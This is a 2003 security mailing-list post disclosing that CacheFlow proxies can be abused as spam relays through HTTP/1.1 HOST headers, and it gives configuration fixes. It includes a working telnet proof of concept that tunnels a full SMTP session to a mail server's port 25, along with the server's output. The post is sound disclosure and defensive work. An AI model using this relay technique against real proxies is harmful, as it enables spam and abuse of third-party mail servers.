Cacheflow proxy abuse (revisited)

From: Tim Kennedy (tim_at_timkennedy.net)
Date: 09/10/03

  • Next message: Dan Hanson: "New Article Announcement: Hardening the TCP/IP stack to Syn Attacks" 
    Date: 10 Sep 2003 15:22:12 -0000
To: incidents@securityfocus.com
    ('binary' encoding is not supported, stored as-is) In-Reply-To: <Pine.LNX.4.44.0210160747300.20004-100000@ultra1.hugo.vanderkooij.org>

    Related to: http://www.securityfocus.com/archive/75/295545/2003-09-
    07/2003-09-13/2

    I talked with Blue Coat about this this morning, and it's a pretty
    easy fix.

    Cacheflow publisched information relating to a vulnerability in the
    CONNECT method of the CacheOS.
    Here's their document(as html):
    http://216.239.39.104/search?
    q=cache:KTdTB76TgN4J:www.cacheflow.com/files/solutions/solution_http_conne
    ct.pdf+&hl=en&ie=UTF-8

    The document says that CacheFlow offers two solutions for the problem:

    CacheOS 4.0.x and above:

            cacheflow#conf t
            cacheflow#(config)services
            cacheflow#(config services)http
            cacheflow#(config services http)attribute connect ?
            enable Do NOT block CONNECT requests
            disable Do block CONNECT requests

    **This is the method I used to disable connect methods.

    For CacheOS 3.1.x and above, the recommend an inline-filter-list entry:
            cacheflow#conf t
            cacheflow#(config)inline filter-list local ccc
            https://.*:(443|80) service=yes
            https://.*:[0-9]+/ service=no
            ccc

    CacheFlow specifically says, in their PDF, that the first filter regex
    will explicitly allo HTTP and HTTPS traffic, and that the second line
    will ***BLOCK TRAFFIC TO ALL OTHER PORTS***

    This is functionaly incorrect.

    I'm running CacheOS Version: SA 4.1.10016.
    On a CacheFlow 7XX series proxy.

    This method, as described in the PDF, did in fact block the CONNECT
    requests from being processed, and returned a bad method error.

    Disabling the connect method didn't fix the problem we had with spammers
    relaying through our cacheflow. It turns out that unlike SQUID, which is
    set by default to ignore HTTP/1.1 HOST headers, the CacheFlow doesn't.

    --------------------------------------------------------------------------
    telnet ip.or.hostname.of.cacehflow 80
    GET / HTTP/1.1
    HOST: mailserver.victim.com:25
    HELO .
    mail from: spammer@alter.net
    rcpt to: target@unsuspecting.com
    DATA
    Subject: Look Ma! I'm an open relay
    HI, you've been spammed through an open proxy, because of a bug in the
    OS code. Have a Great Day!
    -Spammer
    .

    220 mailserver.victim.com ESMTP Sendmail 8.12.9/8.12.9; Wed, 10 Sep 2003
    11:15:31 -0400
    500 5.5.1 Command unrecognized: "GET / HTTP/1.0"
    500 5.5.1 Command unrecognized: "HOST: memnoch.sugarat.net:25"
    250 mailserver.victim.com Hello CacheFlowServer@[xxx.x.x.xx], pleased to
    meet you
    250 2.1.0 spammer@alter.net... Sender ok
    250 2.1.5 target@unsuspecting.com... Recipient ok
    354 Enter mail, end with "." on a line by itself
    250 2.0.0 h8AFFVfo011729 Message accepted for delivery
    500 5.5.1 Command unrecognized: "Cache-Control: max-stale=0"
    500 5.5.1 Command unrecognized: "Connection: Keep-Alive"
    500 5.5.1 Command unrecognized: "Client-ip: xx.xx.x.xxx"
    500 5.5.1 Command unrecognized: ""
    ^]
    telnet> close
    Connection closed.

    --------------------------------------------------------------------------

    Once you do this, you'll see the entire smtp session sent as a GET to the
    mail server, complete with carriage returns, which the mail server will
    receive in the appropriate order, and the mail will be sent.

    After the HOST header, the CacheFlow doesn't issue it's request until
    it sees two sequential carriage returns. So it will send the whole email
    session in the GET as long as it's before the \r\r.

    On CacheOS 4, the only way to get around this is to use the CacheOS 3
    inline filter solution to the CONNECT bug.

    But you need to expand it a bit:

            https://.*:(443|80) service=yes
            https://.*:[0-9]+/ service=no

    DOES NOT limit ports, when the service is HTTP, as the document says.
    TO Actually limit connections to services though HTTP, you need to
    add the entries prefixed by 'http', as well as 'https'.
    (This is what Jim at Blue Coat told me, and it worked)

            https://.*:(443|80) service=yes
            https://.*:[0-9]+/ service=no
            http://.*:(443|80) service=yes
            http://.*:[0-9]+/ service=no

    --------------------------------------------------------------------------
            cacheflow#conf t
            cacheflow#(config)inline filter-list local ccc
            https://.*:(443|80) service=yes
            https://.*:[0-9]+/ service=no
            ccc
    --------------------------------------------------------------------------

    That will now give a BAD METHOD return on GET's with an HTTP/1.1 HOST
    header.

    This may already be well known, but I'm not really a cacheflow guy, and I
    couldn't find ANYTHING about it on google, altavista, or any of the
    security sites (security focus, bugtraq, security tracker, etc.)

    Fortunatly for me, my co-worker Curly is as ingenious as any spammer out
    there.

    -Charlie "Curly" Benatti & Tim Kennedy

    >On Wed, 16 Oct 2002, Alain Fauconnet wrote:
    >
    >> Hugo van der Kooij <hvdkooij@vanderkooij.org> wrote:
    >>
    >> I'm stuck. Anything you have found?
    >
    >Unfortunatly not at the monment. I am planning to put the machine up at
    >times when someone can babysit the segment to get a proper trace for
    >analyses.
    >
    >After which we intend to raise hell with CacheFlow.

    ---------------------------------------------------------------------------
    Attend Black Hat Briefings & Training Federal, September 29-30 (Training),
    October 1-2 (Briefings) in Tysons Corner, VA; the world's premier
    technical IT security event. Modeled after the famous Black Hat event in
    Las Vegas! 6 tracks, 12 training sessions, top speakers and sponsors.
    Symantec is the Diamond sponsor. Early-bird registration ends September 6.Visit us: www.blackhat.com
    ----------------------------------------------------------------------------

  • Next message: Dan Hanson: "New Article Announcement: Hardening the TCP/IP stack to Syn Attacks"

    Relevant Pages

    • CacheFlow Proxy Abuse (revisited)
      ... CONNECT method of the CacheOS. ... The document says that CacheFlow offers two solutions for the problem: ... DOES NOT limit ports, when the service is HTTP, as the document says. ... couldn't find ANYTHING about it on google, altavista, or any of the security ...
      (Bugtraq)
    • Re: Cacheflow proxy abuse (revisited)
      ... > The document says that CacheFlow offers two solutions for the problem: ... > mail server, complete with carriage returns, which the mail server will ... > security sites ... Modeled after the famous Black Hat event in ...
      (Incidents)
    • svindel.net security advisory - web admin vulnerability in CacheOS
      ... Cacheflow CacheOSweb admin vulnerability ... CacheOS is a piece of software used by web caching devices made by Cacheflow ... and url's transferred through the cache at the time. ...
      (Bugtraq)
    • UPDATE: [wcolburn@nmt.edu: SMTP relay through checkpoint firewall]
      ... It's not just Checkpoint Firewall that has a problem with HTTP CONNECT. ... From what I can tell default installations of the CacheFlow web proxy ...
      (Bugtraq)